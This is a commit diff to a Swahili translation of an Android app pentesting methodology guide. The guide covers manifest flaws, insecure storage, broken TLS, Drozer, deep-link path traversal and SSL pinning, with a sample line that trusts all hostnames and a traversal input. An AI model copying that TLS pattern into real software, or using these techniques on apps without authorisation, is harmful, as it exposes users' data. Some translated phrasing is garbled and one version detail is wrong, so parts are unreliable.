Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-08-04 18:35:14 +00:00
parent d169de0e54
commit ce6694c8c2
4 changed files with 238 additions and 85 deletions

View File

@ -322,6 +322,7 @@
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)

View File

@ -20,13 +20,14 @@ Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi y
## Smali
Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
[**Katika tutorial hii** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala kwa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambayo yatpresentwa. Hivyo, **weka daima katika akili uwezekano huu**.
## Njia nyingine za kuvutia
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device:
```bash
@ -55,10 +56,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Static Analysis
Kwanza, kwa kuchambua APK unapaswa **kuangalia msimbo wa Java** kwa kutumia decompiler.\
Kwanza kabisa, kwa kuchambua APK unapaswa **kuangalia msimbo wa Java** kwa kutumia decompiler.\
Tafadhali, [**soma hapa kupata taarifa kuhusu decompilers mbalimbali zinazopatikana**](apk-decompilers.md).
### Looking for interesting Info
### Kuangalia Taarifa za Kuvutia
Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa kwenye programu).
@ -66,25 +67,25 @@ Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://g
Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa zaidi kuhusu nini FIrebase na jinsi ya kuitumia hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml
### Uelewa wa Msingi wa Programu - Manifest.xml, strings.xml
**Uchambuzi wa faili za _Manifest.xml_ za programu na **_strings.xml_** unaweza kufichua udhaifu wa usalama**. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili la APK kuwa .zip na kisha kuzipa.
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kudhibitiwa kwenye kifaa.
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia taarifa nyeti ili kuzuia nakala zisizoidhinishwa za data kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
- **Programu Zinazoweza Kurekebishwa**: Programu zilizowekwa kama debuggable (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa uelewa zaidi kuhusu jinsi ya kutumia programu zinazoweza kurekebishwa, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kurekebishwa kwenye kifaa.
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati urekebishaji wa usb umewezeshwa.
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
- **Shughuli na Huduma zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dynamic unaweza kufichua jinsi ya kutumia vipengele hivi.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa.
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum juu ya jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
- **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dynamic unaweza kufichua jinsi ya kutumia vipengele hivi.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa kwa makini.
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum kuhusu jinsi mipango ya URL inavyosimamiwa kwa udhaifu wa ingizo.
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikionyesha umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi.
### Tapjacking
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\
Kwa hivyo, inafanya **mtumiaji asijue kuwa anafanya vitendo kwenye programu ya mwathirika**.
Pata taarifa zaidi katika:
@ -95,7 +96,7 @@ tapjacking.md
### Task Hijacking
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakabiliwa na hatari ya Hijacking ya kazi. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa task Hijacking. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
Taarifa zaidi katika:
@ -103,16 +104,16 @@ Taarifa zaidi katika:
android-task-hijacking.md
{{#endref}}
### Insecure data storage
### Hifadhi ya Data Isiyo Salama
**Hifadhi ya Ndani**
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zime **kusudiwa** kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla inatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
1. **Uchambuzi wa Kawaida:**
- **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**.
- **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usiotarajiwa**.
2. **Uchambuzi wa Dynamic:**
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote ime **wekwa kuwa inasomeka au kuandikwa duniani kote**. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
**Hifadhi ya Nje**
@ -121,14 +122,14 @@ Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, t
1. **Ufikivu**:
- Faili kwenye hifadhi ya nje ni **zinazosomeka na kuandikwa duniani kote**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizi.
2. **Masuala ya Usalama**:
- Kwa sababu ya urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
- Kwa kuzingatia urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kuifanya kuwa isiyo salama.
3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dynamic kunashauriwa kutoendeshwa.
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dynamic. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya cryptographic** kabla ya kupakiwa kwa dynamic. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine.
@ -138,9 +139,9 @@ Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `
- **Mipangilio ya pamoja**: Android inaruhusu kila programu kuhifadhi kwa urahisi faili za xml katika njia `/data/data/<packagename>/shared_prefs/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo.
- **Maktaba**: Android inaruhusu kila programu kuhifadhi kwa urahisi maktaba za sqlite katika njia `/data/data/<packagename>/databases/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo.
### Broken TLS
### TLS Iliyovunjika
**Kubaliana na Vyeti Vyote**
**Kubali Vyeti Vyote**
Kwa sababu fulani wakati mwingine waendelezaji wanakubali vyeti vyote hata kama kwa mfano jina la mwenyeji halifanani na mistari ya msimbo kama ifuatavyo:
```java
@ -149,7 +150,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama Burp bila kuidhinisha Burp CA ndani ya kifaa. Pia, unaweza kuunda na Burp cheti kwa jina la mwenyeji tofauti na kulitumika.
### Uthibitishaji wa Kificho
### Uthibitishaji wa Kifaa
**Mchakato Mbaya wa Usimamizi wa Funguo**
@ -164,7 +165,7 @@ Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **uk
- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake wa kuona kama simu imejikita** na kuchukua hatua.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuangalia kama imebadilishwa.
- Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK
### Programu ya React Native
@ -185,17 +186,17 @@ Soma ukurasa ufuatao kujifunza jinsi ya kufikia kwa urahisi msimbo wa C# wa prog
### Programu za Superpacked
Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu kuwa faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa faili.**
Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshughulikia maudhui ya programu katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshughulikia programu hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshughulikiwa kutoka mfumo wa faili.**
### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki
### Uchambuzi wa Msimbo wa Kawaida
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Zana [**mariana-trench**](https://github.com/facebook/mariana-trench) ina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Zana hii ina mfululizo wa **vyanzo vinavyojulikana** (ambayo inaonyesha kwa zana **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambayo inaonyesha kwa zana **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **kanuni**. Kanuni hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
### Siri zilizovuja
Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdomains...) ndani yake ambazo unaweza kuweza kugundua. Unaweza kutumia chombo kama [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdomains...) ndani yake ambazo unaweza kuweza kugundua. Unaweza kutumia zana kama [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Kupita Uthibitishaji wa Kijamii
@ -239,7 +240,7 @@ Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya
#### Kutumia emulator
- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye kasi polepole).
- Jifunze jinsi ya kuipanga kwenye ukurasa huu:
- Jifunze jinsi ya kuiseti kwenye ukurasa huu:
{{#ref}}
avd-android-virtual-device.md
@ -259,18 +260,18 @@ Pia, zingatia kwamba katika **mipangilio ya Android VM katika Genymotion** unawe
#### Tumia kifaa halisi
Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **kujikita**:
Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **ku-root**:
1. **Mipangilio**.
2. (Kuanzia Android 8.0) Chagua **Mfumo**.
3. Chagua **Kuhusu simu**.
4. Bonyeza **Nambari ya Ujenzi** mara 7.
5. Rudi nyuma na utaona **Chaguzi za Mwandishi**.
5. Rudi nyuma na utaona **Chaguzi za Wataalamu**.
> Mara tu umepofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijamii kwa kutumia MobSF uchambuzi wa kijamii + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
### Kuvuja kwa Data Isiyokusudiwa
### Kuvuja kwa Data zisizokusudiwa
**Kumbukumbu**
@ -306,7 +307,7 @@ Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema <table
### Drozer (Kuvunja Shughuli, Watoa Maudhui na Huduma)
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
Drozer ni chombo muhimu kwa **kuvunja shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
Drozer ni zana muhimu ya **kuvunjia shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
### Kuvunja Shughuli Zilizotolewa
@ -315,7 +316,7 @@ Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
**Kupita Uthibitishaji**
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
@ -326,7 +327,7 @@ Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), kwa wazi hii ni hatari tu katika toleo za zamani (API versions < 21).
**NOTE**: MobSF itagundua kama ni hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari tu katika toleo za zamani (API versions < 21).
> [!TIP]
> Kumbuka kwamba kupita kwa idhini si kila wakati udhaifu, itategemea jinsi kupita kunavyofanya kazi na ni taarifa gani zinazoonyeshwa.
@ -351,7 +352,7 @@ Watoa maudhui kimsingi hutumiwa **kushiriki data**. Ikiwa programu ina watoa mau
[**Soma hii ikiwa unataka kukumbusha nini ni Huduma.**](android-applications-basics.md#services)\
Kumbuka kwamba vitendo vya Huduma huanza katika njia `onStartCommand`.
Kama huduma ni kimsingi kitu ambacho **kinaweza kupokea data**, **kuchakata** na **kurudisha** (au la) jibu. Basi, ikiwa programu inasambaza huduma fulani unapaswa **kuangalia** **msimbo** ili kuelewa inafanya nini na **kujaribu** kwa **dynamically** ili kuchota taarifa za siri, kupita hatua za uthibitishaji...\
Huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **kurudisha** (au la) jibu. Hivyo, ikiwa programu inasambaza huduma fulani unapaswa **kuangalia** **msimbo** ili kuelewa inafanya nini na **kujaribu** kwa **dynamically** ili kuchota taarifa za siri, kupita hatua za uthibitishaji...\
[**Jifunze jinsi ya kutumia Huduma na Drozer.**](drozer-tutorial/index.html#services)
### **Kutumia Vastika za Matangazo**
@ -359,7 +360,7 @@ Kama huduma ni kimsingi kitu ambacho **kinaweza kupokea data**, **kuchakata** na
[**Soma hii ikiwa unataka kukumbusha nini ni Vastika za Matangazo.**](android-applications-basics.md#broadcast-receivers)\
Kumbuka kwamba vitendo vya Vastika za Matangazo huanza katika njia `onReceive`.
Vastika za matangazo zitakuwa zikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
Vastika ya matangazo itakuwa ikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
[**Jifunze jinsi ya kutumia Vastika za Matangazo na Drozer.**](#exploiting-broadcast-receivers)
### **Kutumia Mipango / Viungo vya Kina**
@ -384,12 +385,12 @@ Ili kupata **code itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa
**Sensitive info**
Kila wakati unapotafuta deeplink hakikisha **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
**Parameters in path**
Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio na udhaifu ulitumia njia sahihi) na udhaifu mwingine wowote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
@ -398,12 +399,12 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
### Transport Layer Inspection and Verification Failures
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Udhaifu huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
#### Certificate Verification
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu mipangilio isiyo salama ya TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia hatari, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
#### SSL Pinning
@ -413,7 +414,7 @@ SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhi
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea tutorial hii**](make-apk-accept-ca-certificate.md).
